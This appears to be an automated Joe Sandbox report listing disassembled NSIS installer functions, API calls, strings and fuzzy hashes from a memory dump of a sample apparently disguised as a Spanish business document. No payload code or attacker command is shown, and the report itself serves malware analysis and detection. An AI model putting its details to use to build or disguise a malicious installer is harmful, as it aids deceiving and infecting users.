Error writing temporary file. Make sure your temp folder is valid., xrefs: 004030DE
Null, xrefs: 00402FCE
Inst, xrefs: 00402FBC
Error launching installer, xrefs: 00402F25
soft, xrefs: 00402FC5

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: 42065c0ab5b29b2b2b83307d5915b3acc3d96901d6fcfbc8444800a32ebbfbd8
Instruction ID: 3828440c67d76786f1e0e44594fc16ccb97003feb117245618602a5e37269db8
Opcode Fuzzy Hash: 42065c0ab5b29b2b2b83307d5915b3acc3d96901d6fcfbc8444800a32ebbfbd8
Instruction Fuzzy Hash: 5E61C271A01204ABDB20DF65DD85B9E7BB8EB04355F20417BFA00F62D1CB7C9A458B9D

Function 00406234 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,00422708,?,004053A8,00422708,00000000,00000000,00000000), ref: 004062F7
GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 00406375
GetWindowsDirectoryW.KERNEL32(004281E0,00000400), ref: 00406388
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 004063C4
SHGetPathFromIDListW.SHELL32(?,004281E0), ref: 004063D2
CoTaskMemFree.OLE32(?), ref: 004063DD
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406401
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,004053A8,00422708,00000000,00000000,00000000), ref: 0040645B

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406343
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004063FB

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: 66ef25a80f16a6104390fbc1b6e992016b9d13106f7151c12c6dc6c766d89db1
Instruction ID: 8986ea92d4020f82ea273b0cadebf120af401304848ce5cddb84501886c13395
Opcode Fuzzy Hash: 66ef25a80f16a6104390fbc1b6e992016b9d13106f7151c12c6dc6c766d89db1
Instruction Fuzzy Hash: C661E371A00115EBDB209F24CD40AAE37A5AF50314F52817FE947BA2D0D73D8AA6CB9D

Function 0040433D Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040435A
GetSysColor.USER32(00000000), ref: 00404376
SetTextColor.GDI32(?,00000000), ref: 00404382
SetBkMode.GDI32(?,?), ref: 0040438E
GetSysColor.USER32(?), ref: 004043A1
SetBkColor.GDI32(?,?), ref: 004043B1
DeleteObject.GDI32(?), ref: 004043CB
CreateBrushIndirect.GDI32(?), ref: 004043D5

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction ID: f1e38b434243e48c2b46a4a8fcf45a1f38fac15713e13bd475e5664ee3236b4b
Opcode Fuzzy Hash: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction Fuzzy Hash: F0215171600704ABCB219F68DD48B5BBBF8AF41714F04892DEDD5E26E0D778E904CB54

Function 00402660 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026CC
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 00402707
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 00402740

Part of subcall function 00405EC8: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405EDE

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027EC

Strings

9, xrefs: 004026AF

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 86a1fdfe899c9ceab9d698116da87040fc40dd599bb220daf872e279e0fa4e64
Instruction ID: cf5e27d2714951497ad0250a6e54f1fa2860b8b617eea02cda273725ea92b50b
Opcode Fuzzy Hash: 86a1fdfe899c9ceab9d698116da87040fc40dd599bb220daf872e279e0fa4e64
Instruction Fuzzy Hash: B9511674900219AADF20DF94DE88AAEB7B9FF04304F50403BE941F72D1D7B89982DB59

Function 00405371 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
lstrlenW.KERNEL32(00402EAD,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
lstrcatW.KERNEL32(00422708,00402EAD,00402EAD,00422708,00000000,00000000,00000000), ref: 004053CC
SetWindowTextW.USER32(00422708,00422708), ref: 004053DE
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: f8a8d88fafabd2705d4bfb02e3f721ca981156685056b2b6c2762235eb49562f
Instruction ID: a3987805c55db6f4a015f8fdfae83c311b34e51693a8fcc51f5c24f156ed4de6
Opcode Fuzzy Hash: f8a8d88fafabd2705d4bfb02e3f721ca981156685056b2b6c2762235eb49562f
Instruction Fuzzy Hash: A3218C71900518BBCB119F95ED84ACFBFB8EF45350F50807AF904B62A0C3B98A91DF68

Function 00402E33 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402E4E
GetTickCount.KERNEL32 ref: 00402E6C
wsprintfW.USER32 ref: 00402E9A

Part of subcall function 00405371: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
Part of subcall function 00405371: lstrlenW.KERNEL32(00402EAD,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
Part of subcall function 00405371: lstrcatW.KERNEL32(00422708,00402EAD,00402EAD,00422708,00000000,00000000,00000000), ref: 004053CC
Part of subcall function 00405371: SetWindowTextW.USER32(00422708,00422708), ref: 004053DE
Part of subcall function 00405371: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
Part of subcall function 00405371: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
Part of subcall function 00405371: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

CreateDialogParamW.USER32(0000006F,00000000,00402D98,00000000), ref: 00402EBE
ShowWindow.USER32(00000000,00000005), ref: 00402ECC

Part of subcall function 00402E17: MulDiv.KERNEL32(?,00000064,?), ref: 00402E2C

Strings

... %d%%, xrefs: 00402E94

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 7ab4736549933f7d70d83e7d18d719c287e01965cee6ce59e825f2c0a875d467
Instruction ID: 8dd11ec53df0ba6bdd92dbd1cf8f77c56262218af4b431f1c1abafb00f700e94
Opcode Fuzzy Hash: 7ab4736549933f7d70d83e7d18d719c287e01965cee6ce59e825f2c0a875d467
Instruction Fuzzy Hash: FB016570541614DBC7216B50EE0DA9B7B58AB00B45B14413FF941F12D1DBF844A58BEE

Function 00404C3B Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404C56
GetMessagePos.USER32 ref: 00404C5E
ScreenToClient.USER32(?,?), ref: 00404C78
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C8A
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404CB0

Strings

f, xrefs: 00404C8C

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction ID: 3ec40d72beee944c7b32a6f5f5203a90e51618c2e0ef94a62ef03edc632050ca
Opcode Fuzzy Hash: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction Fuzzy Hash: 88015271901218BAEB10DF94DD45FFEBBBCAF58711F10012BBA51B61C0C7B499018B95

Function 0040657C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406593
wsprintfW.USER32 ref: 004065CE
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004065E2

Strings

\, xrefs: 004065A4
%s%S.dll, xrefs: 004065C8
UXTHEME, xrefs: 00406585

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 3e72c25e5c980310d69f0fc98d502c706aefd7165560ee14c5a883ad11fb6337
Instruction ID: 5ba2db083709ae0eaf9cf6759a8f1877d4d75d4363d7664b3b34a8d65426c280
Opcode Fuzzy Hash: 3e72c25e5c980310d69f0fc98d502c706aefd7165560ee14c5a883ad11fb6337
Instruction Fuzzy Hash: 4AF0F670910219FADF10AB64EE0EF9B366CAB00304F50403AA546F11D0EB7CDA25CBA8

Function 00402D98 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402DB6
wsprintfW.USER32 ref: 00402DEA
SetWindowTextW.USER32(?,?), ref: 00402DFA
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E0C

Strings

unpacking data: %d%%, xrefs: 00402DD8
verifying installer: %d%%, xrefs: 00402DDF, 00402DE8

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: f920e2d473a8442ab140d7cb001c2dea54e1cd42605ecc10fb631262ba466dce
Instruction ID: 5b31381c318dcc107e486aeb82f0cbc8ffe93b2faae57e60c2f54a212ea49e40
Opcode Fuzzy Hash: f920e2d473a8442ab140d7cb001c2dea54e1cd42605ecc10fb631262ba466dce
Instruction Fuzzy Hash: 53F0367154020CABDF245F50DD49BEA3B69FB44304F00803AFA05B51D0DBB959658B99

Function 004028C3 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402917
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 00402933
GlobalFree.KERNEL32(?), ref: 0040296C
GlobalFree.KERNEL32(00000000), ref: 0040297F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402997
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 004029AB

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 2712055f727695e9a6cffbaa8955d27e4e1bb918ceb0f77b2a7d08c0dd9579ad
Instruction ID: 8996c306b55a9cd0cf00445349fd93af405541c9de08eca1dd931963291c836b
Opcode Fuzzy Hash: 2712055f727695e9a6cffbaa8955d27e4e1bb918ceb0f77b2a7d08c0dd9579ad
Instruction Fuzzy Hash: C221BF71800124BBDF116FA5CE49D9E7E79EF09364F10423EF8507A2E0CB794D418B98

Function 00404B2D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404BCE
wsprintfW.USER32 ref: 00404BD7
SetDlgItemTextW.USER32(?,00423728), ref: 00404BEA

Strings

(7B, xrefs: 00404BC0
%u.%u%s%s, xrefs: 00404BB8

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: bd2d3db077ee8e583910a32854825a9f0c2e072d4a2c3eefa0bf5777e55b2ddc
Instruction ID: 06844f863ebb5207f96fa0dde493c575b08da8a3ff5d6269356cbccd3d727cca
Opcode Fuzzy Hash: bd2d3db077ee8e583910a32854825a9f0c2e072d4a2c3eefa0bf5777e55b2ddc
Instruction Fuzzy Hash: E211D873A0412877DB00666D9C41F9E32989B85374F150237FA25F31D1DA79D81282E9

Function 004064A6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,758E3420,00437800,00435000,00403425,00437800,00437800,00403672), ref: 00406509
CharNextW.USER32(?,?,?,00000000), ref: 00406518
CharNextW.USER32(?,00000000,758E3420,00437800,00435000,00403425,00437800,00437800,00403672), ref: 0040651D
CharPrevW.USER32(?,?,758E3420,00437800,00435000,00403425,00437800,00437800,00403672), ref: 00406530

Strings

*?|<>/":, xrefs: 004064F8

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 3235da6fa7aa45e9bf0ecdfd9fa5d30a804d535f67a6192059b6605710e04147
Instruction ID: 798f9d5398cbdb919d0ccd284a00eb8243013f3251525297edaf214bcc17b89f
Opcode Fuzzy Hash: 3235da6fa7aa45e9bf0ecdfd9fa5d30a804d535f67a6192059b6605710e04147
Instruction Fuzzy Hash: 30110815801612A5D7307B149C40AB776E8EFA5764F52803FEC8A733C5E77C5CA286AD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 00406212: lstrcpynW.KERNEL32(?,?,00000400,004034F7,00429240,NSIS Error), ref: 0040621F

Part of subcall function 00405371: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
Part of subcall function 00405371: lstrlenW.KERNEL32(00402EAD,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
Part of subcall function 00405371: lstrcatW.KERNEL32(00422708,00402EAD,00402EAD,00422708,00000000,00000000,00000000), ref: 004053CC
Part of subcall function 00405371: SetWindowTextW.USER32(00422708,00422708), ref: 004053DE
Part of subcall function 00405371: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
Part of subcall function 00405371: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
Part of subcall function 00405371: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 6285280ce05e970252caada2d1d245646b8803942fbe8435dd818c3768bb975f
Instruction ID: 0d28a5e8dae66ca407d9ab1903032e249cf50254bac70f3abe216f7737186e0f
Opcode Fuzzy Hash: 6285280ce05e970252caada2d1d245646b8803942fbe8435dd818c3768bb975f
Instruction Fuzzy Hash: 0541B131900119BACF217BA5CD45DAF3A79EF01368B20427FF422B10E1DB3C8A519A6E

Function 00402C93 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402CB4
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402CF0
RegCloseKey.ADVAPI32(?), ref: 00402CF9
RegCloseKey.ADVAPI32(?), ref: 00402D1E
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402D3C

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: b379a38b382f3674851f683a1545770b769e1215edb99d074c526d7d0dba3b0f
Instruction ID: 6ed1dcd439a9d73e7b184d3b9e055cec6739c9c837aa6d28afee44abb1cd8dac
Opcode Fuzzy Hash: b379a38b382f3674851f683a1545770b769e1215edb99d074c526d7d0dba3b0f
Instruction Fuzzy Hash: 6611377150010DFFEF219F90DE89DAE7B6DFB64348F10007AFA01A11A0D7B58E59AA69

Function 00401DB3 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DB6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401DD8
ReleaseDC.USER32(?,00000000), ref: 00401DE9
CreateFontIndirectW.GDI32(0040CDE0), ref: 00401E38

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 2d329506c7c101f05e432b59e6409975d0128ccc9750adf40c4c86175a79681a
Instruction ID: 65d3cf27749cc92dd64e462d7a068a1de8cb11dbe253a65c0e26eefc01b1c80e
Opcode Fuzzy Hash: 2d329506c7c101f05e432b59e6409975d0128ccc9750adf40c4c86175a79681a
Instruction Fuzzy Hash: B8015271544245EFE7006BB4AF4AA9E7FB5BF55301F14097DE142BA1E2CBB80006AB2D

Function 00401C19 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C89
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA1

Strings

!, xrefs: 00401C55

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a529da5e5e50b73cda3617062f9fa6157020804c16351eeb2e898c586e7ec129
Instruction ID: 75e6d6340c5f39a85289ca98609147a27814c24a1fb1496c30dcde5ce6f9f3d4
Opcode Fuzzy Hash: a529da5e5e50b73cda3617062f9fa6157020804c16351eeb2e898c586e7ec129
